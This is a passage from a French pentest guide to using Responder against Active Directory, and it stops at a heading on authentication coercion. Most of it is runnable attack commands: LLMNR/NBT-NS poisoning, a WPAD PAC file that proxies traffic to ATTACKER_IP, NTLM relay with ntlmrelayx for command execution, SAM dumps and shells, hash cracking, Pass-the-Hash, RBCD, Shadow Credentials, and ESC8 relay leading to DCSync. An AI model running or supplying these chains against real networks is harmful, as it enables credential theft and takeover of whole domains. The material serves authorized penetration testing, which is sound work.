Responder : Guide Complet pour le Pentest Active Directory

Lors d'un test d'intrusion interne pour un groupe industriel du CAC40, j'ai démarré mon laptop sur un port réseau de la salle de réunion — un simple câble Ethernet, aucun identifiant, aucune connaissance préalable de l'infrastructure. En moins de 47 minutes, Responder avait capturé 23 hashes NTLMv2, dont celui d'un compte de service avec des privilèges Domain Admin délégués. Le domaine Active Directory était compromis avant la pause café. Ce scénario, loin d'être exceptionnel, illustre pourquoi Responder reste en 2026 l'un des outils les plus redoutés — et les plus efficaces — de l'arsenal offensif pour le pentest Active Directory. Créé par Laurent Gaffié (SpiderLabs), cet outil Python exploite les failles fondamentales des protocoles de résolution de noms Windows : LLMNR, NBT-NS et WPAD. Ce guide exhaustif vous emmène des fondamentaux protocolaires jusqu'aux techniques avancées de relay NTLM, en passant par les combinaisons avec Impacket et les stratégies de détection. Que vous soyez pentester confirmé, red teamer ou architecte sécurité cherchant à durcir votre AD, cette ressource couvre l'intégralité du spectre offensif et défensif autour de Responder pour vous permettre de maîtriser pleinement le responder pentest dans un environnement Active Directory moderne.

Qu'est-ce que Responder ?

Responder est un outil open source de poisoning et de capture d'identifiants réseau, développé en Python par Laurent Gaffié sous le pseudonyme lgandx. Publié initialement sur GitHub en 2012, il a révolutionné les tests d'intrusion internes en automatisant l'exploitation de faiblesses protocolaires que Microsoft maintient pour des raisons de rétrocompatibilité. L'outil s'est imposé comme un standard de facto dans les engagements red team et les certifications offensives (OSCP, CRTP, CRTO).

Le principe fondamental de Responder repose sur un constat simple : lorsqu'un poste Windows ne parvient pas à résoudre un nom d'hôte via DNS, il se rabat sur des protocoles de résolution broadcast ou multicast — LLMNR (port UDP 5355), NBT-NS (port UDP 137) et mDNS (port UDP 5353). Ces protocoles, par conception, font confiance à n'importe quel hôte du réseau local qui répond en premier. Responder se positionne comme un serveur rogue qui répond à toutes ces requêtes, redirigeant ainsi les victimes vers ses propres services factices.

Concrètement, Responder embarque un ensemble complet de serveurs factices :

• Serveur SMB — capture les authentifications NTLM lors de tentatives de connexion à des partages réseau
• Serveur HTTP/HTTPS — intercepte les requêtes web et force l'authentification NTLM
• Serveur WPAD — distribue un fichier PAC malveillant pour rediriger le trafic proxy
• Serveur LDAP — capture les identifiants lors de requêtes d'annuaire
• Serveur FTP — intercepte les connexions FTP en clair
• Serveur SQL — capture les authentifications Microsoft SQL Server
• Serveur DNS — répond sélectivement aux requêtes DNS
• Serveurs IMAP/POP3/SMTP — capture les identifiants de messagerie

L'architecture de Responder est modulaire : chaque serveur peut être activé ou désactivé indépendamment via le fichier de configuration Responder.conf ou les options en ligne de commande. Cette flexibilité permet d'adapter l'outil à chaque scénario de pentest, depuis la capture passive de hashes jusqu'à l'empoisonnement agressif combiné au relay NTLM.

Positionnement dans la kill chain Active Directory

Dans la méthodologie d'attaque Active Directory, Responder intervient principalement dans les phases initiales :

• Initial Access / Credential Access — capture de hashes NTLMv2 sans aucun prérequis d'authentification
• Lateral Movement — les credentials capturés ou relayés permettent le mouvement latéral via Pass-the-Hash ou Pass-the-Password
• Privilege Escalation — le relay NTLM vers des cibles non protégées (LDAP, AD CS) peut mener directement à l'escalade de privilèges

Responder se distingue des attaques traditionnelles car il ne nécessite aucune exploitation de vulnérabilité logicielle — il abuse de comportements protocolaires by design, ce qui le rend extrêmement difficile à patcher sans casser la rétrocompatibilité Windows.

Les protocoles exploités par Responder

Pour comprendre la puissance de Responder en pentest Active Directory, il faut d'abord maîtriser les protocoles qu'il exploite. Chacun présente des faiblesses architecturales que l'outil transforme en vecteurs d'attaque.

LLMNR — Link-Local Multicast Name Resolution

Défini par la RFC 4795, LLMNR est un protocole de résolution de noms multicast conçu comme alternative au DNS pour les réseaux locaux. Lorsqu'un client Windows ne peut résoudre un nom via DNS (serveur injoignable, nom inexistant, timeout), il envoie une requête LLMNR en multicast sur l'adresse 224.0.0.252 (IPv4) ou ff02::1:3 (IPv6), port UDP 5355.

La vulnérabilité fondamentale : LLMNR ne dispose d'aucun mécanisme d'authentification. N'importe quel hôte sur le réseau peut répondre à une requête LLMNR, et le client acceptera la première réponse reçue sans vérification. Responder exploite cette confiance aveugle en répondant systématiquement à toutes les requêtes LLMNR avec sa propre adresse IP, redirigeant ainsi les connexions vers ses serveurs factices.

Le scénario type est le suivant : un utilisateur tape \\servuer\partage (avec une faute de frappe) dans l'explorateur Windows. Le DNS ne résout pas ce nom. Windows envoie une requête LLMNR. Responder répond instantanément avec son IP. Le poste Windows tente alors une authentification SMB vers Responder, qui capture le hash NTLMv2 de l'utilisateur.

NBT-NS — NetBIOS Name Service

NBT-NS est le mécanisme de résolution de noms le plus ancien de l'écosystème Windows, hérité de NetBIOS over TCP/IP (RFC 1001/1002). Il fonctionne en broadcast UDP sur le port 137. Lorsque LLMNR échoue ou n'est pas disponible, Windows se rabat sur NBT-NS comme ultime mécanisme de résolution.

La chaîne de résolution complète sur Windows est la suivante :

1. Cache DNS local
2. Fichier hosts
3. Requête DNS au serveur configuré
4. Requête LLMNR (multicast)
5. Requête NBT-NS (broadcast)

NBT-NS présente les mêmes faiblesses que LLMNR — absence totale d'authentification — mais avec une surface d'attaque potentiellement plus large puisqu'il fonctionne en broadcast sur tout le sous-réseau. Responder empoisonne simultanément LLMNR et NBT-NS pour maximiser les chances de capture, couvrant ainsi les postes avec différentes configurations de fallback.

mDNS — Multicast DNS

Le Multicast DNS (RFC 6762) est principalement utilisé dans les environnements Apple (Bonjour), mais il est de plus en plus présent dans les réseaux hétérogènes. Il fonctionne sur l'adresse multicast 224.0.0.251, port UDP 5353. Responder peut également empoisonner les requêtes mDNS, bien que cela soit moins fréquent dans les environnements purement Windows.

WPAD — Web Proxy Auto-Discovery

WPAD est probablement le protocole le plus dangereux exploité par Responder. Conçu pour permettre aux navigateurs de découvrir automatiquement un serveur proxy, WPAD combine résolution de noms et exécution de code JavaScript (fichier PAC — Proxy Auto-Configuration).

Le mécanisme WPAD fonctionne ainsi :

1. Le navigateur ou le système cherche un hôte nommé wpad.<domaine>
2. Si la résolution DNS échoue, Windows tente LLMNR puis NBT-NS pour résoudre "wpad"
3. Le serveur trouvé fournit un fichier wpad.dat contenant la configuration proxy
4. Le navigateur exécute le JavaScript du fichier PAC pour déterminer le proxy à utiliser

L'exploitation WPAD par Responder est particulièrement redoutable car :

• Elle est automatique — les postes Windows avec "Détecter automatiquement les paramètres" (activé par défaut) émettent des requêtes WPAD périodiquement
• Elle permet la capture transparente — le fichier PAC malveillant peut forcer l'authentification NTLM via le proxy, sans interaction utilisateur
• Elle touche tous les flux HTTP/HTTPS — pas seulement les requêtes de résolution de noms

Dans les versions récentes de Windows, Microsoft a limité WPAD via LLMNR/NBT-NS, mais de nombreux environnements de production conservent cette fonctionnalité pour des raisons de compatibilité avec des applications legacy.

DNS — Domain Name System

Responder intègre un serveur DNS complet qui peut répondre sélectivement aux requêtes. Cette fonctionnalité est particulièrement utile dans les scénarios de DNS takeover en combinaison avec des outils comme mitm6. Le serveur DNS de Responder peut être configuré pour résoudre des noms spécifiques vers l'IP de l'attaquant tout en laissant passer les requêtes légitimes, rendant l'attaque plus furtive.

SMB — Server Message Block

Le serveur SMB de Responder est le composant le plus utilisé. Il accepte les connexions SMB entrantes et force une négociation d'authentification NTLM (challenge-response). Le serveur envoie un challenge NTLM, le client répond avec son hash NTLMv2, et Responder enregistre le tout dans un format directement exploitable par hashcat (mode 5600) ou John the Ripper.

Le format capturé est le suivant :

username::domain:challenge:NTProofStr:blob

Ce format contient toutes les informations nécessaires pour tenter un cracking offline du mot de passe, ou pour rejouer le hash dans un scénario de relay NTLM.

HTTP/HTTPS et authentification NTLM

Le serveur HTTP de Responder renvoie un code 401 Unauthorized avec un header WWW-Authenticate: NTLM, forçant le navigateur à envoyer les credentials NTLM de la session Windows. Cette technique est transparente pour l'utilisateur sur Internet Explorer et Edge (qui supportent l'authentification NTLM automatique dans la zone Intranet), et peut capturer des hashes sans aucune interaction.

LDAP et SQL

Les serveurs LDAP et SQL de Responder capturent les identifiants lors de requêtes d'annuaire ou de connexion à des bases de données. Ces cas sont fréquents dans les environnements d'entreprise où des applications effectuent des requêtes LDAP de découverte ou des connexions SQL dynamiques basées sur des noms d'hôtes résolus via broadcast.

Installation et configuration de Responder

L'installation de Responder est simple, mais sa configuration optimale demande une compréhension fine des options disponibles et de leur impact sur la furtivité et l'efficacité de l'attaque.

Installation depuis GitHub

La version officielle de Responder est maintenue sur le dépôt de Laurent Gaffié (lgandx) sur GitHub. Sur Kali Linux, Responder est préinstallé, mais la version du dépôt est souvent plus récente.

# Installation depuis le dépôt officiel
git clone https://github.com/lgandx/Responder.git
cd Responder

# Vérification de la version
python3 Responder.py --version

# Installation sur Kali (déjà présent dans /usr/share/responder)
sudo apt update && sudo apt install responder

# Version Kali préinstallée
responder --version

Il est recommandé d'utiliser la version GitHub plutôt que celle empaquetée par Kali, car elle intègre les dernières corrections de bugs et les nouveaux modules. La version 3.x apporte notamment le support Python 3 complet, un serveur DNS amélioré et de meilleures performances pour le mode proxy.

Options de ligne de commande

Responder propose un large éventail d'options pour contrôler son comportement :

# Lancement basique sur l'interface eth0
sudo python3 Responder.py -I eth0

# Mode analyse uniquement (pas d'empoisonnement)
sudo python3 Responder.py -I eth0 -A

# Empoisonnement LLMNR + NBT-NS + WPAD avec fingerprinting
sudo python3 Responder.py -I eth0 -wFb

# Options détaillées
sudo python3 Responder.py -I eth0 \
  -w           # Activer le serveur WPAD proxy
  -r           # Activer les réponses pour les requêtes de suffixe NetBIOS wredir
  -d           # Activer les réponses pour les requêtes de suffixe NetBIOS domaine
  -F           # Forcer l'authentification NTLM via WPAD (Basic sinon)
  -P           # Forcer l'authentification proxy NTLM pour les requêtes WPAD
  -b           # Return a Basic HTTP authentication (capture cleartext)
  -v           # Mode verbose (détail de chaque requête)

# Désactiver des serveurs spécifiques
sudo python3 Responder.py -I eth0 --disable-ess

Les options les plus importantes en contexte de pentest :

• -I — Interface réseau (obligatoire). Utiliser l'interface connectée au réseau cible
• -A — Mode Analyze. Capture les requêtes broadcast sans y répondre, idéal pour la phase de reconnaissance
• -w — Active le rogue WPAD proxy, essentiel pour la capture massive
• -F — Force l'authentification NTLM via WPAD (vs Basic Auth par défaut)
• -v — Mode verbose, indispensable pour comprendre ce qui se passe sur le réseau

Le fichier Responder.conf

Le fichier Responder.conf permet un contrôle granulaire sur chaque serveur et le comportement de l'outil :

[Responder Core]
; Serveurs à activer/désactiver
SQL = On
SMB = On
RDP = On
Kerberos = On
FTP = On
POP = On
SMTP = On
IMAP = On
HTTP = On
HTTPS = On
DNS = On
LDAP = On
DCERPC = On
WINRM = On
SNMP = Off
MQTT = Off

; Challenge NTLM personnalisé (laisser random pour plus de sécurité)
; Un challenge fixe facilite le cracking mais peut être détecté
Challenge = Random

; Fichiers de configuration des serveurs HTTP
HtmlFilename = /path/to/custom/login.html
ExeFilename = /path/to/payload.exe
ExeDownloadName = update.exe

; Serveur WPAD
WPADScript = function FindProxyForURL(url, host){
  if ((host == "localhost") || shExpMatch(host, "localhost.*") ||
      (host == "127.0.0.1") || isPlainHostName(host))
    return "DIRECT";
  if (dnsDomainIs(host, "RespsproxyIP") ||
      shExpMatch(host, "(*.RespProxyIP|RespProxyIP)"))
    return "DIRECT";
  return 'PROXY RespProxyIP:3128; DIRECT';
}

; Base de données des hashes capturés
SessionLogFile = Responder-Session.log
PoisonersLogFile = Poisoners-Session.log
AnalyzeLogFile = Analyzer-Session.log

[HTTPS Server]
; Certificat SSL personnalisé
cert = certs/responder.crt
key = certs/responder.key

Mode Analyse vs Mode Empoisonnement

La distinction entre ces deux modes est cruciale pour un pentest professionnel :

Mode Analyse (-A) : Responder écoute passivement les requêtes broadcast sans y répondre. Ce mode est essentiel pour :

• Cartographier les systèmes émettant des requêtes LLMNR/NBT-NS
• Identifier les noms recherchés (fautes de frappe fréquentes, partages supprimés, anciennes configurations)
• Évaluer le volume de trafic broadcast pour estimer l'impact de l'empoisonnement
• Détecter la présence de honeypots ou de systèmes de détection

# Phase 1 : Reconnaissance passive — 15-30 minutes minimum
sudo python3 Responder.py -I eth0 -A -v

# Exemple de sortie en mode Analyze
[Analyze mode: LLMNR]  Request from 10.0.1.45 for FILESERV01, request type: A
[Analyze mode: NBT-NS] Request from 10.0.1.102 for WPAD, request type: File Server
[Analyze mode: LLMNR]  Request from 10.0.1.78 for PRINTSVR, request type: A
[Analyze mode: NBT-NS] Request from 10.0.1.203 for SQLSERVER, request type: File Server

Mode Empoisonnement (par défaut) : Responder répond activement aux requêtes et capture les hashes. Ce mode doit être utilisé avec précaution car il peut :

• Perturber la résolution de noms légitime
• Générer des erreurs côté utilisateur si le nom ciblé correspondait à un service réel
• Être détecté par les systèmes de surveillance réseau (SIEM, IDS)

# Phase 2 : Empoisonnement ciblé
sudo python3 Responder.py -I eth0 -wFv

# Sortie lors d'une capture réussie
[+] Listening for events...
[*] [LLMNR]  Poisoned answer sent to 10.0.1.45 for name FILESERV01
[SMB] NTLMv2-SSP Client   : 10.0.1.45
[SMB] NTLMv2-SSP Username : CORP\jdupont
[SMB] NTLMv2-SSP Hash     : jdupont::CORP:a5c4f3e2b1d8c7a6:
F8A2B3C4D5E6F7A8B9C0D1E2F3A4B5C6:01010000000000000A1B2C3D4E5F6A7B...

En pentest professionnel, la séquence recommandée est toujours : analyse d'abord (15-30 minutes), puis empoisonnement ciblé. Cela permet de comprendre le réseau et de minimiser les risques de perturbation.

Mode opératoire complet : pentest Active Directory avec Responder

Cette section détaille un workflow complet et méthodique pour exploiter Responder lors d'un test d'intrusion interne ciblant un environnement Active Directory. Chaque phase s'appuie sur la précédente pour construire un chemin d'attaque cohérent.

Phase 1 : Reconnaissance passive — analyse du trafic broadcast

Avant toute action offensive, la reconnaissance passive permet de cartographier l'environnement et d'identifier les opportunités. Cette phase est critique et ne doit jamais être négligée.

# Étape 1 : Vérifier la connectivité et identifier le sous-réseau
ip addr show eth0
# Résultat attendu : 10.0.1.x/24 ou similaire

# Étape 2 : Écoute passive avec Responder en mode Analyze
sudo python3 Responder.py -I eth0 -A -v 2>&1 | tee /tmp/responder-recon.log

# Étape 3 : En parallèle, capturer le trafic broadcast avec tcpdump
sudo tcpdump -i eth0 -n 'udp port 5355 or udp port 137 or udp port 5353' \
  -w /tmp/broadcast-capture.pcap &

# Étape 4 : Analyser les résultats après 15-30 minutes
# Identifier les patterns récurrents
grep -E "LLMNR|NBT-NS" /tmp/responder-recon.log | \
  awk '{print $NF}' | sort | uniq -c | sort -rn | head -20

Les informations à collecter durant cette phase :

• Noms recherchés fréquemment — indiquent des serveurs supprimés, des fautes de frappe, des configurations obsolètes
• Adresses IP sources — cartographient les postes actifs et les sous-réseaux peuplés
• Requêtes WPAD — révèlent les postes avec auto-détection proxy activée (cibles idéales)
• Timing des requêtes — permettent de planifier l'empoisonnement aux heures de forte activité
• Types de requêtes — différencier les requêtes de type File Server, Workstation, Domain Controller

Cette phase de reconnaissance passive dure entre 15 minutes et plusieurs heures selon l'engagement. Plus le temps de collecte est long, plus la compréhension du réseau est fine. Sur un réseau d'entreprise typique de 500+ postes, vous observerez des dizaines de requêtes broadcast par minute.

Phase 2 : Empoisonnement LLMNR/NBT-NS — capture de hashes NTLMv2

Une fois la reconnaissance terminée, on passe à la capture active de hashes. Le LLMNR poisoning et le NBT-NS poisoning constituent le coeur de l'attaque Responder.

# Lancement de l'empoisonnement complet
sudo python3 Responder.py -I eth0 -v

# Avec WPAD activé pour maximiser la surface d'attaque
sudo python3 Responder.py -I eth0 -wFv

# Les hashes sont automatiquement enregistrés dans :
# ./logs/Responder-Session.log (journal des sessions)
# ./logs/ (fichiers par protocole : SMB-NTLMv2-SSP-*.txt, HTTP-NTLMv2-*.txt)

Comprendre les types de hashes capturés est essentiel :

• NTLMv2-SSP — le plus courant, capturé via SMB. Crackable offline avec hashcat mode 5600
• NTLMv1-SSP — rarement vu sur les réseaux modernes (Windows 7+), mais beaucoup plus facile à cracker. Hashcat mode 5500
• HTTP-NTLMv2 — capturé via le serveur HTTP, même format que NTLMv2-SSP
• Cleartext — capturé via FTP, HTTP Basic, ou certains protocoles legacy. Mot de passe en clair

Exemple concret de hash NTLMv2 capturé :

# Format : username::domain:ServerChallenge:NTProofStr:ClientBlob
jdupont::CORP:1a2b3c4d5e6f7a8b:
A1B2C3D4E5F6A7B8C9D0E1F2A3B4C5D6:
0101000000000000C0653150DE09D2011234567890ABCDEF
000000000200080043004F005200500001001E00570049004E002D
004A00310032003300340035003600370038000400140043004F00
52005000...

# Ce hash est directement exploitable par hashcat
hashcat -m 5600 hash.txt wordlist.txt

Pour optimiser la capture, plusieurs techniques existent :

• Timing — lancer Responder le matin entre 8h et 10h quand les utilisateurs se connectent et montent leurs lecteurs réseau
• Durée — maintenir l'empoisonnement pendant au moins 1-2 heures pour capturer différents profils d'utilisateurs
• Filtrage — dans Responder.conf, configurer les réponses uniquement pour certains noms pour réduire le bruit
• Comptes à privilèges — surveiller les hashes de comptes de service, administrateurs, opérateurs de backup

Phase 3 : Exploitation WPAD — injection proxy et credential harvesting

L'exploitation WPAD est l'une des techniques les plus puissantes de Responder car elle permet de capturer des credentials de manière transparente et continue. La WPAD exploitation transforme l'outil en proxy d'interception d'authentification.

# Lancement avec serveur WPAD et authentification NTLM forcée
sudo python3 Responder.py -I eth0 -wF

# -w : Active le serveur WPAD
# -F : Force l'authentification NTLM (au lieu de Basic) pour le proxy WPAD

Le flux d'attaque WPAD est le suivant :

1. Le poste Windows avec "Détecter automatiquement les paramètres" activé émet une requête DNS pour wpad.corp.local
2. Le DNS ne résout pas (pas d'entrée WPAD configurée)
3. Windows envoie une requête LLMNR/NBT-NS pour "WPAD"
4. Responder répond avec son IP
5. Le poste télécharge le fichier wpad.dat depuis Responder
6. Le fichier PAC redirige le trafic HTTP vers le proxy Responder
7. Responder force l'authentification NTLM pour chaque requête proxiée
8. Chaque ouverture de page web génère un hash NTLMv2

L'avantage majeur de WPAD est la persistance : une fois le fichier PAC chargé, chaque requête HTTP de la victime passe par le proxy Responder. Cela signifie une capture continue de hashes, potentiellement pour de nombreux utilisateurs simultanément. Les navigateurs qui supportent l'authentification NTLM automatique (Edge, Internet Explorer, Chrome dans certaines configurations) transmettront les credentials sans aucune interaction utilisateur.

Pour personnaliser le fichier PAC distribué par Responder, modifiez la section WPADScript dans Responder.conf :

# Fichier PAC personnalisé pour cibler uniquement certains domaines
WPADScript = function FindProxyForURL(url, host){
  // Ne pas proxier les adresses locales
  if (isPlainHostName(host) ||
      shExpMatch(host, "*.corp.local") ||
      isInNet(host, "10.0.0.0", "255.0.0.0"))
    return "DIRECT";
  // Proxier tout le reste via Responder
  return "PROXY ATTACKER_IP:3128; DIRECT";
}

Phase 4 : Relay NTLM avec ntlmrelayx — la combinaison Responder + Impacket

Le relay NTLM est l'évolution naturelle de la capture de hashes. Au lieu de cracker les hashes offline (ce qui peut prendre des heures ou échouer sur des mots de passe complexes), on les relaye en temps réel vers des cibles vulnérables. Cette technique, détaillée dans notre guide sur le relay NTLM moderne, est la combinaison la plus dévastatrice du pentest AD.

Le principe : Responder capture la requête d'authentification NTLM, mais au lieu de compléter l'authentification avec un challenge local, il la redirige vers une cible légitime. La victime s'authentifie involontairement auprès d'un serveur tiers avec ses propres credentials.

# Étape 1 : Désactiver les serveurs SMB et HTTP de Responder
# (car ntlmrelayx les utilise sur les mêmes ports)
# Dans Responder.conf :
# SMB = Off
# HTTP = Off

# Étape 2 : Identifier les cibles sans SMB signing
crackmapexec smb 10.0.1.0/24 --gen-relay-list targets.txt

# Le fichier targets.txt contiendra les IP sans SMB signing enforced
# Exemple de contenu :
# 10.0.1.15
# 10.0.1.22
# 10.0.1.45
# 10.0.1.78

# Étape 3 : Lancer ntlmrelayx vers les cibles identifiées
python3 ntlmrelayx.py -tf targets.txt -smb2support

# Étape 4 : Lancer Responder (sans SMB/HTTP)
sudo python3 Responder.py -I eth0 -wFv

# Options avancées de ntlmrelayx :

# Exécuter une commande sur la cible relayée
python3 ntlmrelayx.py -tf targets.txt -smb2support \
  -c "whoami /all > C:\Windows\Temp\pwned.txt"

# Dumper la base SAM (hashes locaux)
python3 ntlmrelayx.py -tf targets.txt -smb2support --dump-sam

# Générer un shell interactif
python3 ntlmrelayx.py -tf targets.txt -smb2support -i
# Puis se connecter : nc 127.0.0.1 11000

# Relayer vers LDAP (pour des attaques de délégation)
python3 ntlmrelayx.py -t ldap://DC01.corp.local -smb2support \
  --delegate-access

# Relayer vers HTTP (ADCS - ESC8)
python3 ntlmrelayx.py -t http://ADCS01.corp.local/certsrv/certfnsh.asp \
  -smb2support --adcs --template DomainController

Le relay NTLM est considérablement plus dangereux que le simple cracking de hashes car :

• Il fonctionne indépendamment de la complexité du mot de passe — même un mot de passe de 30 caractères est relayé avec succès
• Il est instantané — pas besoin d'attendre le cracking
• Il permet l'exécution de code à distance, le dumping de SAM, la création de comptes, etc.
• Combiné à des cibles LDAP ou AD CS, il peut mener directement à Domain Admin

Phase 5 : Cracking des hashes NTLMv2

Pour les hashes qui ne peuvent être relayés (ou en complément du relay), le cracking offline reste une technique fondamentale. Les hashes NTLMv2 capturés par Responder sont directement compatibles avec hashcat et John the Ripper.

# Récupérer tous les hashes capturés
cat logs/SMB-NTLMv2-SSP-*.txt > all-hashes.txt
cat logs/HTTP-NTLMv2-*.txt >> all-hashes.txt

# Dédupliquer les hashes (Responder peut capturer le même hash plusieurs fois)
sort -u all-hashes.txt > unique-hashes.txt

# Vérifier le nombre de hashes uniques
wc -l unique-hashes.txt

# === HASHCAT ===

# Attaque par dictionnaire (rockyou)
hashcat -m 5600 unique-hashes.txt /usr/share/wordlists/rockyou.txt

# Avec règles pour augmenter la couverture
hashcat -m 5600 unique-hashes.txt /usr/share/wordlists/rockyou.txt \
  -r /usr/share/hashcat/rules/best64.rule

# Règles OneRuleToRuleThemAll (plus agressive)
hashcat -m 5600 unique-hashes.txt /usr/share/wordlists/rockyou.txt \
  -r /usr/share/hashcat/rules/OneRuleToRuleThemAll.rule

# Attaque combinée : dictionnaire + masque
hashcat -m 5600 unique-hashes.txt \
  /usr/share/wordlists/rockyou.txt \
  -a 6 "?d?d?d?d"

# Attaque par masque pur (brute-force ciblé)
# Exemple : Mot de passe de 8 caractères commençant par majuscule
hashcat -m 5600 unique-hashes.txt -a 3 "?u?l?l?l?l?l?d?d"

# Attaque hybride : nom de l'entreprise + variations
echo "Corp2024" > custom-words.txt
echo "Corporation" >> custom-words.txt
echo "CorpName" >> custom-words.txt
hashcat -m 5600 unique-hashes.txt custom-words.txt \
  -r /usr/share/hashcat/rules/best64.rule

# Vérifier les résultats
hashcat -m 5600 unique-hashes.txt --show

# === JOHN THE RIPPER ===

# Attaque avec wordlist
john --format=netntlmv2 --wordlist=/usr/share/wordlists/rockyou.txt \
  unique-hashes.txt

# Avec règles
john --format=netntlmv2 --wordlist=/usr/share/wordlists/rockyou.txt \
  --rules=All unique-hashes.txt

# Afficher les résultats
john --format=netntlmv2 --show unique-hashes.txt

Conseils pour optimiser le cracking :

• Wordlists contextuelles — inclure le nom de l'entreprise, la ville, les noms de projets, les acronymes internes. Les mots de passe d'entreprise contiennent souvent le nom de la société suivi de l'année ou de la saison
• Règles de mutation — best64.rule offre un bon compromis vitesse/couverture, dive.rule pour une couverture exhaustive
• GPU — hashcat avec une GPU moderne (RTX 4090) peut tester ~25 GH/s en NTLMv2, contre ~50 MH/s en CPU. L'investissement en hardware GPU est rentabilisé rapidement
• Bases de données de leaks — en environnement autorisé, croiser les emails du domaine avec des bases de fuites pour identifier les mots de passe réutilisés
• Politique de mot de passe — obtenir la politique via crackmapexec smb DC -u '' -p '' --pass-pol permet d'ajuster les masques hashcat (longueur minimale, complexité requise)

Un point important : les hashes NTLMv2 sont salés avec un timestamp, ce qui signifie que le même mot de passe génère des hashes différents à chaque capture. Cela rend les rainbow tables inutiles pour NTLMv2 — seul le cracking par dictionnaire/brute-force fonctionne.

Phase 6 : Mouvement latéral avec les credentials récupérés

Une fois des mots de passe crackés ou des accès obtenus via relay, la phase suivante est le mouvement latéral. Les credentials obtenus via Responder ouvrent de nombreuses portes dans l'environnement AD.

# Vérifier la validité des credentials crackés
crackmapexec smb 10.0.1.0/24 -u jdupont -p 'CrackedPassword2024!'

# Si le compte a des droits admin local quelque part :
crackmapexec smb 10.0.1.0/24 -u jdupont -p 'CrackedPassword2024!' \
  --local-auth

# Exécution de commandes via WMI
python3 wmiexec.py CORP/jdupont:'CrackedPassword2024!'@10.0.1.45

# Exécution via PSExec (plus bruyant, mais plus fiable)
python3 psexec.py CORP/jdupont:'CrackedPassword2024!'@10.0.1.45

# Dumping de hashes NTLM locaux (SAM)
python3 secretsdump.py CORP/jdupont:'CrackedPassword2024!'@10.0.1.45

# Pass-the-Hash avec le hash NT récupéré
python3 wmiexec.py CORP/jdupont@10.0.1.78 \
  -hashes aad3b435b51404eeaad3b435b51404ee:a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6

# Kerberoasting depuis le compte compromis
python3 GetUserSPNs.py CORP/jdupont:'CrackedPassword2024!' \
  -dc-ip 10.0.1.1 -request -outputfile kerberoast-hashes.txt

Le mouvement latéral suit généralement ce schéma avec les credentials Responder :

1. Validation — tester les credentials sur l'ensemble du scope avec CrackMapExec
2. Identification des accès admin — trouver les machines où le compte compromis a des droits administrateur local
3. Dumping SAM/LSA — récupérer les hashes locaux et les secrets LSA sur les machines compromises
4. Pivoting — utiliser les nouveaux hashes pour accéder à d'autres machines (technique Pass-the-Hash)
5. Escalade vers Domain Admin — via Kerberoasting, délégation non contrainte, ou DCSync si un compte suffisamment privilégié est compromis

Responder + ntlmrelayx : la combo ultime

La synergie entre Responder et ntlmrelayx (composant d'Impacket) constitue l'attaque la plus redoutable du pentest Active Directory interne. Cette section approfondit les scénarios avancés de relay qui vont au-delà du simple dump SAM.

Resource-Based Constrained Delegation (RBCD)

Le relay NTLM vers LDAP permet de configurer la Resource-Based Constrained Delegation sur un compte machine, ouvrant la voie à une impersonation de n'importe quel utilisateur du domaine, y compris Domain Admin.

# Prérequis : une cible relayable sur LDAP (pas LDAPS avec channel binding)
# Le relay doit provenir d'un compte machine ou d'un compte avec droits
# ms-DS-AllowedToActOnBehalfOfOtherIdentity sur la cible

# Étape 1 : Créer un compte machine (si MachineAccountQuota > 0)
python3 addcomputer.py -computer-name 'EVILPC$' -computer-pass 'Password123!' \
  -dc-ip 10.0.1.1 CORP/jdupont:'CrackedPassword2024!'

# Étape 2 : Lancer ntlmrelayx avec l'option delegate-access
python3 ntlmrelayx.py -t ldap://DC01.corp.local -smb2support \
  --delegate-access --escalate-user 'EVILPC$'

# Étape 3 : Lancer Responder (SMB et HTTP désactivés)
sudo python3 Responder.py -I eth0 -wFv

# Étape 4 : Quand un compte machine relaye vers LDAP avec succès :
# ntlmrelayx configure automatiquement la délégation RBCD

# Étape 5 : Exploiter la délégation pour obtenir un TGS
python3 getST.py -spn cifs/TARGET.corp.local \
  -impersonate Administrator \
  -dc-ip 10.0.1.1 \
  CORP/'EVILPC$':'Password123!'

# Étape 6 : Utiliser le ticket pour accéder à la cible
export KRB5CCNAME=Administrator.ccache
python3 psexec.py -k -no-pass CORP/Administrator@TARGET.corp.local

Shadow Credentials

L'attaque Shadow Credentials est une variante plus élégante du RBCD, basée sur la manipulation de l'attribut msDS-KeyCredentialLink des objets AD. Elle ne nécessite pas la création d'un compte machine supplémentaire.

# Relay NTLM vers LDAP avec l'option shadow credentials
python3 ntlmrelayx.py -t ldap://DC01.corp.local -smb2support \
  --shadow-credentials --shadow-target 'TARGET$'

# ntlmrelayx va :
# 1. Ajouter une clé dans msDS-KeyCredentialLink de TARGET$
# 2. Générer un certificat PFX correspondant
# 3. Afficher la commande pour obtenir un TGT via PKINIT

# Obtenir un TGT avec le certificat généré
python3 gettgtpkinit.py -cert-pfx shadow.pfx -pfx-pass 'password' \
  CORP/'TARGET$' target.ccache

# Extraire le hash NT du compte machine
python3 getnthash.py -key  CORP/'TARGET$'

# Utiliser le hash pour le mouvement latéral
python3 secretsdump.py -hashes :NTHASH CORP/'TARGET$'@TARGET.corp.local

AD CS Relay — ESC8

Le relay vers Active Directory Certificate Services (AD CS) est l'une des attaques les plus dévastatrices découvertes ces dernières années. Elle permet d'obtenir un certificat au nom de la victime relayée, qui peut ensuite être utilisé pour l'authentification Kerberos PKINIT.

# Identifier les serveurs AD CS avec enrollment HTTP activé
crackmapexec ldap DC01.corp.local -u jdupont -p 'CrackedPassword2024!' \
  -M adcs

# Ou avec Certipy
certipy find -u jdupont@corp.local -p 'CrackedPassword2024!' \
  -dc-ip 10.0.1.1

# Lancer ntlmrelayx vers le endpoint d'enrollment AD CS
python3 ntlmrelayx.py \
  -t http://ADCS01.corp.local/certsrv/certfnsh.asp \
  -smb2support --adcs --template DomainController

# Lancer Responder
sudo python3 Responder.py -I eth0 -wFv

# Quand un contrôleur de domaine (ou un compte avec droits d'enrollment)
# est relayé, ntlmrelayx obtient un certificat au nom de ce compte

# Utiliser le certificat pour obtenir un TGT
certipy auth -pfx dc01.pfx -dc-ip 10.0.1.1

# Ou via gettgtpkinit
python3 gettgtpkinit.py -cert-pfx dc01.pfx \
  CORP/'DC01$' dc01.ccache

# Avec le TGT du contrôleur de domaine, faire un DCSync
python3 secretsdump.py -k -no-pass DC01.corp.local -just-dc

L'attaque ESC8 est particulièrement dangereuse car :

• Les certificats sont valides pendant 1 an par défaut (persistance)
• Ils ne sont pas affectés par les changements de mot de passe
• Un certificat de DC permet directement le DCSync (extraction de tous les hashes du domaine)
• De nombreuses organisations ne surveillent pas les enrollments de certificats

Coercion d'authentification : amplifier Responder

